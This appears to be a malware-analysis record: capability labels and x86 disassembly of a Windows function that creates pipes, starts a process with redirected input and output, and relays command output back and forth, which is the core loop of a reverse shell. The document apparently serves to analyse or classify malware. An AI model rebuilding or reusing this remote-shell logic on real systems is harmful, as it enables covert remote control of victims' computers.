Function at 0x40567a
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov eax, dword fs:[0x2c]
sub esp, 0x44
push ebx
push ebp
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0x475c20]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x4056cc
mov ebp, 0x475c20
push ebp
call fcn.0043334c
pop ecx
cmp dword [0x475c20], esi
jne 0x4056cc
push ebx
mov ecx, 0x475b80
call fcn.004046d7
push 0x456f17
call fcn.004336f3
pop ecx
push ebp
call fcn.0043330d
pop ecx
mov eax, dword [0x475c00]
cmp eax, dword [edi + 4]
jle 0x405709
mov edi, 0x475c00
push edi
call fcn.0043334c
pop ecx
cmp dword [0x475c00], esi
jne 0x405709
mov ecx, 0x475c28
call fcn.004020bf
push 0x456f0d
call fcn.004336f3
pop ecx
push edi
call fcn.0043330d
pop ecx
lea ecx, [esp + 0x20]
call fcn.004020bf
mov ebp, 0x473f80
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x14], ebx
cmp byte [0x471ae6], bl
jne 0x405889
mov edx, 0x465078
mov ecx, ebp
call fcn.00405ae5
test al, al
je 0x40587d
push 0x465080
call fcn.0043b06a
pop ecx
mov ebp, 0x475c28
push eax
mov ecx, ebp
call fcn.00405a86
push 0x46508c
mov ecx, ebp
call fcn.0040535d
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov ebp, 0x475b28
push ebx
push ebp
push 0x475c04
push 0x475c1c
mov dword [0x475b28], 0xc
mov dword [0x475b30], 1
mov dword [0x475b2c], ebx
call esi
test eax, eax
je 0x405a2f
push ebx
push ebp
push 0x475c24
push 0x475c08
call esi
test eax, eax
je 0x405a2f
push 0x44
pop esi
push esi
push ebx
mov ebp, 0x475b38
push ebp
call fcn.00435e50
add esp, 0xc
mov dword [0x475b38], esi
xor eax, eax
mov dword [0x475b64], 0x101
mov word [0x475b68], ax
mov ecx, 0x475c28
mov eax, dword [0x475c1c]
push 0x475c0c
mov dword [0x475b70], eax
mov eax, dword [0x475c24]
push ebp
mov dword [0x475b74], eax
mov dword [0x475b78], eax
call fcn.00401f8b
push eax
push ebx
push ebx
push 1
push ebx
mov ebp, 0x473f80
push ebx
mov ecx, ebp
call fcn.00401f8b
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, ebp
push 0x465074
setne byte [0x471ae6]
call fcn.00405a86
mov esi, 0x475b80
mov byte [0x471ae7], 1
mov ecx, esi
call fcn.0040480d
push ecx
mov ecx, esi
call fcn.004048a8
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.004020d6
push 0x93
mov ecx, esi
call fcn.00404a81
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x471ae6], bl
je 0x405a0d
push ebx
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x475c08]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [esp + 0x18], ebx
jbe 0x405957
push dword [esp + 0x18]
call fcn.0043ace0
pop ecx
push ebx
mov ebp, eax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
push ebp
push dword [0x475c08]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x1c], ebx
jbe 0x405949
cmp dword [esp + 0x14], ebx
jbe 0x405914
push dword [esp + 0x14]
lea ecx, [esp + 0x24]
call fcn.00401f8b
push eax
push ebp
call fcn.0043acf0
add esp, 0xc
test eax, eax
jne 0x405914
push ebp
lea ecx, [esp + 0x3c]
call fcn.00402073
mov eax, dword [esp + 0x1c]
sub eax, dword [esp + 0x14]
sub esp, 0x18
mov ecx, esp
push eax
push dword [esp + 0x30]
jmp 0x405928
push ebp
lea ecx, [esp + 0x3c]
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push dword [esp + 0x34]
push ebx
lea eax, [esp + 0x58]
push eax
call fcn.00405a8b
push 0x62
mov ecx, 0x475b80
call fcn.00404a81
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00401fb8
push ebp
call fcn.0043acdb
pop ecx
mov ebp, 0x473f80
jmp 0x405974
sub esp, 0x18
mov ecx, esp
push 0x465074
call fcn.00402073
push 0x62
mov ecx, 0x475b80
call fcn.00404a81
mov esi, eax
movzx eax, byte [0x471ae7]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, ebp
mov byte [0x471ae7], al
call fcn.0040245c
test eax, eax
je 0x4059d8
push 0x465090
mov ecx, ebp
call fcn.0040535d
push ebp
lea ecx, [esp + 0x24]
call fcn.00401fa0
push ebx
lea eax, [esp + 0x18]
mov ecx, ebp
push eax
call fcn.0040245c
push eax
mov ecx, ebp
call fcn.00401f8b
push eax
push dword [0x475c04]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x465074
mov ecx, ebp
call fcn.00405a86
jmp 0x4059dc
mov dword [esp + 0x14], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x471ae7], bl
jne 0x405889
push ebx
push dword [0x475c0c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x475c10]
call edi
push dword [0x475c0c]
call edi
mov ecx, 0x475b80
call fcn.00404e06
push dword [0x475c08]
call edi
push dword [0x475c24]
call edi
mov byte [0x471ae6], bl
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401fb8
lea ecx, [esp + 0x58]
call fcn.00401fb8
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x44
ret